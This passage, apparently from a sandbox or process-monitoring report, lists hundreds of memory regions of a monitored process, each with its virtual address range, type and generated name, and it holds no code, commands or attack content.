0x248efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002480000" filename = "" Region: id = 3399 start_va = 0x2480000 end_va = 0x248efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002480000" filename = "" Region: id = 3400 start_va = 0xab70000 end_va = 0xad5afff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000ab70000" filename = "" Region: id = 3401 start_va = 0x9870000 end_va = 0x9a5dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000009870000" filename = "" Region: id = 3402 start_va = 0x9a60000 end_va = 0x9c51fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000009a60000" filename = "" Region: id = 3403 start_va = 0x2480000 end_va = 0x248ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002480000" filename = "" Region: id = 3404 start_va = 0x24a0000 end_va = 0x24bbfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000024a0000" filename = "" Region: id = 3405 start_va = 0x2480000 end_va = 0x248efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002480000" filename = "" Region: id = 3406 start_va = 0x2480000 end_va = 0x248efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002480000" filename = "" Region: id = 3407 start_va = 0xab70000 end_va = 0xad60fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000ab70000" filename = "" Region: id = 3408 start_va = 0x9870000 end_va = 0x9a5bfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000009870000" filename = "" Region: id = 3409 start_va = 0x2480000 end_va = 0x248ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002480000" filename = "" Region: id = 3410 start_va = 0x24a0000 end_va = 0x24bbfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000024a0000" filename = "" Region: id = 3411 start_va = 0x2480000 end_va = 0x248efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002480000" filename = "" Region: id = 3412 start_va = 0x2480000 end_va = 0x248efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002480000" filename = "" Region: id = 3413 start_va = 0x9a60000 end_va = 0x9c56fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000009a60000" filename = "" Region: id = 3414 start_va = 0xab70000 end_va = 0xad69fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000ab70000" filename = "" Region: id = 3415 start_va = 0x9870000 end_va = 0x9a62fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000009870000" filename = "" Region: id = 3416 start_va = 0x2480000 end_va = 0x248ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002480000" filename = "" Region: id = 3417 start_va = 0x24a0000 end_va = 0x24bbfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000024a0000" filename = "" Region: id = 3418 start_va = 0x2480000 end_va = 0x248efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002480000" filename = "" Region: id = 3419 start_va = 0x2480000 end_va = 0x248efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002480000" filename = "" Region: id = 3420 start_va = 0x9a70000 end_va = 0x9c6dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000009a70000" filename = "" Region: id = 3421 start_va = 0x9870000 end_va = 0x9a6dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000009870000" filename = "" Region: id = 3422 start_va = 0x2480000 end_va = 0x248ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002480000" filename = "" Region: id = 3423 start_va = 0x24a0000 end_va = 0x24bbfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000024a0000" filename = "" Region: id = 3424 start_va = 0x2480000 end_va = 0x248efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002480000" filename = "" Region: id = 3425 start_va = 0x2480000 end_va = 0x248efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002480000" filename = "" Region: id = 3426 start_va = 0x9a70000 end_va = 0x9c6afff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000009a70000" filename = "" Region: id = 3427 start_va = 0xab70000 end_va = 0xad73fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000ab70000" filename = "" Region: id = 3428 start_va = 0x9870000 end_va = 0x9a72fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000009870000" filename = "" Region: id = 3429 start_va = 0x9a80000 end_va = 0x9c81fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000009a80000" filename = "" Region: id = 3430 start_va = 0x2480000 end_va = 0x248ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002480000" filename = "" Region: id = 3431 start_va = 0x24a0000 end_va = 0x24bbfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000024a0000" filename = "" Region: id = 3432 start_va = 0x2480000 end_va = 0x248efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002480000" filename = "" Region: id = 3433 start_va = 0x2480000 end_va = 0x248efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002480000" filename = "" Region: id = 3434 start_va = 0x9870000 end_va = 0x9a74fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000009870000" filename = "" Region: id = 3435 start_va = 0x9a80000 end_va = 0x9c92fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000009a80000" filename = "" Region: id = 3436 start_va = 0xab70000 end_va = 0xad82fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000ab70000" filename = "" Region: id = 3437 start_va = 0x9870000 end_va = 0x9a7cfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000009870000" filename = "" Region: id = 3438 start_va = 0x2480000 end_va = 0x248ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002480000" filename = "" Region: id = 3439 start_va = 0x24a0000 end_va = 0x24bbfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000024a0000" filename = "" Region: id = 3440 start_va = 0x2480000 end_va = 0x248efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002480000" filename = "" Region: id = 3441 start_va = 0x2480000 end_va = 0x248efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002480000" filename = "" Region: id = 3442 start_va = 0x9a80000 end_va = 0x9c92fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000009a80000" filename = "" Region: id = 3443 start_va = 0xab70000 end_va = 0xad8bfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000ab70000" filename = "" Region: id = 3444 start_va = 0x9870000 end_va = 0x9a85fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000009870000" filename = "" Region: id = 3445 start_va = 0x9a90000 end_va = 0x9ca9fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000009a90000" filename = "" Region: id = 3446 start_va = 0x2480000 end_va = 0x248ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002480000" filename = "" Region: id = 3447 start_va = 0x24a0000 end_va = 0x24bbfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000024a0000" filename = "" Region: id = 3448 start_va = 0x2480000 end_va = 0x248efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002480000" filename = "" Region: id = 3449 start_va = 0x2480000 end_va = 0x248efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002480000" filename = "" Region: id = 3605 start_va = 0x9870000 end_va = 0x9a8efff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000009870000" filename = "" Region: id = 3606 start_va = 0x9a90000 end_va = 0x9caafff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000009a90000" filename = "" Region: id = 3607 start_va = 0x9870000 end_va = 0x9a8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000009870000" filename = "" Region: id = 3608 start_va = 0x2480000 end_va = 0x248ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002480000" filename = "" Region: id = 3609 start_va = 0x24a0000 end_va = 0x24bbfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000024a0000" filename = "" Region: id = 3610 start_va = 0x2480000 end_va = 0x248efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002480000" filename = "" Region: id = 3611 start_va = 0x2480000 end_va = 0x248efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002480000" filename = "" Region: id = 3612 start_va = 0x9a90000 end_va = 0x9cb8fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000009a90000" filename = "" Region: id = 3613 start_va = 0x2480000 end_va = 0x248efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002480000" filename = "" Region: id = 3614 start_va = 0xab70000 end_va = 0xad92fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000ab70000" filename = "" Region: id = 3615 start_va = 0x9870000 end_va = 0x9aa0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000009870000" filename = "" Region: id = 3616 start_va = 0x2480000 end_va = 0x248ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002480000" filename = "" Region: id = 3617 start_va = 0x24a0000 end_va = 0x24bbfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000024a0000" filename = "" Region: id = 3618 start_va = 0x2480000 end_va = 0x248efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002480000" filename = "" Region: id = 3619 start_va = 0x2480000 end_va = 0x248efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002480000" filename = "" Region: id = 3620 start_va = 0x9ab0000 end_va = 0x9ce6fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000009ab0000" filename = "" Region: id = 3621 start_va = 0x9870000 end_va = 0x9aa1fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000009870000" filename = "" Region: id = 3622 start_va = 0x2480000 end_va = 0x248ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002480000" filename = "" Region: id = 3623 start_va = 0x24a0000 end_va = 0x24bbfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000024a0000" filename = "" Region: id = 3624 start_va = 0x2480000 end_va = 0x248efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002480000" filename = "" Region: id = 3625 start_va = 0x2480000 end_va = 0x248efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002480000" filename = "" Region: id = 3626 start_va = 0x9ab0000 end_va = 0x9cdcfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000009ab0000" filename = "" Region: id = 3627 start_va = 0x9870000 end_va = 0x9aa5fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000009870000" filename = "" Region: id = 3628 start_va = 0x9ab0000 end_va = 0x9ce5fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000009ab0000" filename = "" Region: id = 3629 start_va = 0x2480000 end_va = 0x248ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002480000" filename = "" Region: id = 3630 start_va = 0x24a0000 end_va = 0x24bbfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000024a0000" filename = "" Region: id = 3631 start_va = 0x2480000 end_va = 0x248efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002480000" filename = "" Region: id = 3632 start_va = 0x2480000 end_va = 0x248efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002480000" filename = "" Region: id = 3633 start_va = 0x2480000 end_va = 0x248efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002480000" filename = "" Region: id = 3634 start_va = 0x9870000 end_va = 0x9aabfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000009870000" filename = "" Region: id = 3635 start_va = 0x9ab0000 end_va = 0x9cebfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000009ab0000" filename = "" Region: id = 3636 start_va = 0x2480000 end_va = 0x248ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002480000" filename = "" Region: id = 3637 start_va = 0x24a0000 end_va = 0x24bbfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000024a0000" filename = "" Region: id = 3638 start_va = 0x2480000 end_va = 0x248efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002480000" filename = "" Region: id = 3639 start_va = 0x2480000 end_va = 0x248efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002480000" filename = "" Region: id = 3640 start_va = 0x9870000 end_va = 0x9aaafff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000009870000" filename = "" Region: id = 3641 start_va = 0x9ab0000 end_va = 0x9cf0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000009ab0000" filename = "" Region: id = 3642 start_va = 0xab70000 end_va = 0xadb1fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000ab70000" filename = "" Region: id = 3643 start_va = 0x2480000 end_va = 0x248ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002480000" filename = "" Region: id = 3644 start_va = 0x24a0000 end_va = 0x24bbfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000024a0000" filename = "" Region: id = 3645 start_va = 0x2480000 end_va = 0x248efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002480000" filename = "" Region: id = 3646 start_va = 0x2480000 end_va = 0x248efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002480000" filename = "" Region: id = 3647 start_va = 0x9870000 end_va = 0x9abbfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000009870000" filename = "" Region: id = 3648 start_va = 0x9ac0000 end_va = 0x9d04fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000009ac0000" filename = "" Region: id = 3649 start_va = 0x2480000 end_va = 0x248ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002480000" filename = "" Region: id = 3650 start_va = 0x24a0000 end_va = 0x24bbfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000024a0000" filename = "" Region: id = 3651 start_va = 0x2480000 end_va = 0x248efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002480000" filename = "" Region: id = 3652 start_va = 0x2480000 end_va = 0x248efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002480000" filename = "" Region: id = 3653 start_va = 0x2480000 end_va = 0x248efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002480000" filename = "" Region: id = 3654 start_va = 0x9870000 end_va = 0x9abcfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000009870000" filename = "" Region: id = 3656 start_va = 0x2480000 end_va = 0x248ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002480000" filename = "" Region: id = 3657 start_va = 0x24a0000 end_va = 0x24bbfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000024a0000" filename = "" Region: id = 3658 start_va = 0x2480000 end_va = 0x248efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002480000" filename = "" Region: id = 3659 start_va = 0x2480000 end_va = 0x248efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002480000" filename = "" Region: id = 3660 start_va = 0x9ac0000 end_va = 0x9d08fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000009ac0000" filename = "" Region: id = 3662 start_va = 0x9870000 end_va = 0x9abbfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000009870000" filename = "" Region: id = 3663 start_va = 0x2480000 end_va = 0x248ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002480000" filename = "" Region: id = 3664 start_va = 0x24a0000 end_va = 0x24bbfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000024a0000" filename = "" Region: id = 3665 start_va = 0x2480000 end_va = 0x248efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002480000" filename = "" Region: id = 3666 start_va = 0x2480000 end_va = 0x248efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002480000" filename = "" Region: id = 3667 start_va = 0x9ac0000 end_va = 0x9d1afff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000009ac0000" filename = "" Region: id = 3668 start_va = 0x2480000 end_va = 0x248ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002480000" filename = "" Region: id = 3669 start_va = 0x24a0000 end_va = 0x24bbfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000024a0000" filename = "" Region: id = 3670 start_va = 0x2480000 end_va = 0x248efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002480000" filename = "" Region: id = 3671 start_va = 0x2480000 end_va = 0x248efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002480000" filename = "" Region: id = 3672 start_va = 0xab70000 end_va = 0xadcafff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000ab70000" filename = "" Region: id = 3673 start_va = 0x9870000 end_va = 0x9ac4fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000009870000" filename = "" Region: id = 3674 start_va = 0x2480000 end_va = 0x248ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002480000" filename = "" Region: id = 3675 start_va = 0x24a0000 end_va = 0x24bbfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000024a0000" filename = "" Region: id = 3676 start_va = 0x2480000 end_va = 0x248efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002480000" filename = "" Region: id = 3677 start_va = 0x2480000 end_va = 0x248efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002480000" filename = "" Region: id = 3678 start_va = 0x9ad0000 end_va = 0x9d28fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000009ad0000" filename = "" Region: id = 3679 start_va = 0x2480000 end_va = 0x248ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002480000" filename = "" Region: id = 3680 start_va = 0x24a0000 end_va = 0x24bbfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000024a0000" filename = "" Region: id = 3681 start_va = 0x2480000 end_va = 0x248efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002480000" filename = "" Region: id = 3682 start_va = 0x2480000 end_va = 0x248efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002480000" filename = "" Region: id = 3683 start_va = 0x9870000 end_va = 0x9acffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000009870000" filename = "" Region: id = 3684 start_va = 0x9ad0000 end_va = 0x9d2efff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000009ad0000" filename = "" Region: id = 3685 start_va = 0x9870000 end_va = 0x9acdfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000009870000" filename = "" Region: id = 3686 start_va = 0x2480000 end_va = 0x248ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002480000" filename = "" Region: id = 3687 start_va = 0x24a0000 end_va = 0x24bbfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000024a0000" filename = "" Region: id = 3688 start_va = 0x2480000 end_va = 0x248efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002480000" filename = "" Region: id = 3689 start_va = 0x2480000 end_va = 0x248efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002480000" filename = "" Region: id = 3690 start_va = 0x9ad0000 end_va = 0x9d3bfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000009ad0000" filename = "" Region: id = 3691 start_va = 0x2480000 end_va = 0x248ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002480000" filename = "" Region: id = 3692 start_va = 0x24a0000 end_va = 0x24bbfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000024a0000" filename = "" Region: id = 3693 start_va = 0x2480000 end_va = 0x248efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002480000" filename = "" Region: id = 3694 start_va = 0x2480000 end_va = 0x248efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002480000" filename = "" Region: id = 3695 start_va = 0x2480000 end_va = 0x248efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002480000" filename = "" Region: id = 3696 start_va = 0xab70000 end_va = 0xadd0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000ab70000" filename = "" Region: id = 3697 start_va = 0x9870000 end_va = 0x9ad5fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000009870000" filename = "" Region: id = 3698 start_va = 0x2480000 end_va = 0x248ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002480000" filename = "" Region: id = 3699 start_va = 0x24a0000 end_va = 0x24bbfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000024a0000" filename = "" Region: id = 3700 start_va = 0x2480000 end_va = 0x248efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002480000" filename = "" Region: id = 3701 start_va = 0x2480000 end_va = 0x248efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002480000" filename = "" Region: id = 3702 start_va = 0x2480000 end_va = 0x248efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002480000" filename = "" Region: id = 3703 start_va = 0x9ae0000 end_va = 0x9d53fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000009ae0000" filename = "" Region: id = 3704 start_va = 0xab70000 end_va = 0xade1fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000ab70000" filename = "" Region: id = 3705 start_va = 0x9870000 end_va = 0x9adafff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000009870000" filename = "" Region: id = 3706 start_va = 0x2480000 end_va = 0x248ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002480000" filename = "" Region: id = 3707 start_va = 0x24a0000 end_va = 0x24bbfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000024a0000" filename = "" Region: id = 3708 start_va = 0x2480000 end_va = 0x248efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002480000" filename = "" Region: id = 3709 start_va = 0x2480000 end_va = 0x248efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002480000" filename = "" Region: id = 3710 start_va = 0x2480000 end_va = 0x248efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002480000" filename = "" Region: id = 3713 start_va = 0x9ae0000 end_va = 0x9d4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000009ae0000" filename = "" Region: id = 3714 start_va = 0xab70000 end_va = 0xade6fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000ab70000" filename = "" Region: id = 3715 start_va = 0x2480000 end_va = 0x248ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002480000" filename = "" Region: id = 3716 start_va = 0x24a0000 end_va = 0x24bbfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000024a0000" filename = "" Region: id = 3717 start_va = 0x2480000 end_va = 0x248efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002480000" filename = "" Region: id = 3718 start_va = 0x2480000 end_va = 0x248efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002480000" filename = "" Region: id = 3719 start_va = 0x2480000 end_va = 0x248efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002480000" filename = "" Region: id = 3720 start_va = 0x9870000 end_va = 0x9ae7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000009870000" filename = "" Region: id = 3721 start_va = 0x9af0000 end_va = 0x9d66fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000009af0000" filename = "" Region: id = 3722 start_va = 0x9870000 end_va = 0x9ae7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000009870000" filename = "" Region: id = 3723 start_va = 0x2480000 end_va = 0x248ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002480000" filename = "" Region: id = 3724 start_va = 0x24a0000 end_va = 0x24bbfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000024a0000" filename = "" Region: id = 3725 start_va = 0x2480000 end_va = 0x248efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002480000" filename = "" Region: id = 3726 start_va = 0x2480000 end_va = 0x248efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002480000" filename = "" Region: id = 3727 start_va = 0x2480000 end_va = 0x248efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002480000" filename = "" Region: id = 3728 start_va = 0xb2f0000 end_va = 0xb572fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000b2f0000" filename = "" Region: id = 3729 start_va = 0x9870000 end_va = 0x9aeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000009870000" filename = "" Region: id = 3730 start_va = 0x2480000 end_va = 0x248ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002480000" filename = "" Region: id = 3731 start_va = 0x24a0000 end_va = 0x24bbfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000024a0000" filename = "" Region: id = 3732 start_va = 0x2480000 end_va = 0x248efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002480000" filename = "" Region: id = 3733 start_va = 0x2480000 end_va = 0x248efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002480000" filename = "" Region: id = 3734 start_va = 0x2480000 end_va = 0x248efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002480000" filename = "" Region: id = 3735 start_va = 0xb2f0000 end_va = 0xb57bfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000b2f0000" filename = "" Region: id = 3736 start_va = 0x9870000 end_va = 0x9afafff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000009870000" filename = "" Region: id = 3737 start_va = 0xb2f0000 end_va = 0xb577fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000b2f0000" filename = "" Region: id = 3758 start_va = 0x2480000 end_va = 0x248ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002480000" filename = "" Region: id = 3759 start_va = 0x24a0000 end_va = 0x24bbfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000024a0000" filename = "" Region: id = 3760 start_va = 0x2480000 end_va = 0x248efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002480000" filename = "" Region: id = 3761 start_va = 0x2480000 end_va = 0x248efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002480000" filename = "" Region: id = 3762 start_va = 0x2480000 end_va = 0x248efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002480000" filename = "" Region: id = 3763 start_va = 0x9870000 end_va = 0x9af6fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000009870000" filename = "" Region: id = 3764 start_va = 0xb2f0000 end_va = 0xb57afff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000b2f0000" filename = "" Region: id = 3765 start_va = 0x9870000 end_va = 0x9b01fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000009870000" filename = "" Region: id = 3766 start_va = 0x103f0000 end_va = 0x1046ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000103f0000" filename = "" Region: id = 3767 start_va = 0x2480000 end_va = 0x248ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002480000" filename = "" Region: id = 3768 start_va = 0x24a0000 end_va = 0x24bbfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000024a0000" filename = "" Region: id = 3769 start_va = 0x2480000 end_va = 0x248efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002480000" filename = "" Region: id = 3770 start_va = 0x2480000 end_va = 0x248efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002480000" filename = "" Region: id = 3771 start_va = 0x2480000 end_va = 0x248efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002480000" filename = "" Region: id = 3772 start_va = 0xb2f0000 end_va = 0xb57efff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000b2f0000" filename = "" Region: id = 3773 start_va = 0x9870000 end_va = 0x9b0efff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000009870000" filename = "" Region: id = 3774 start_va = 0x2480000 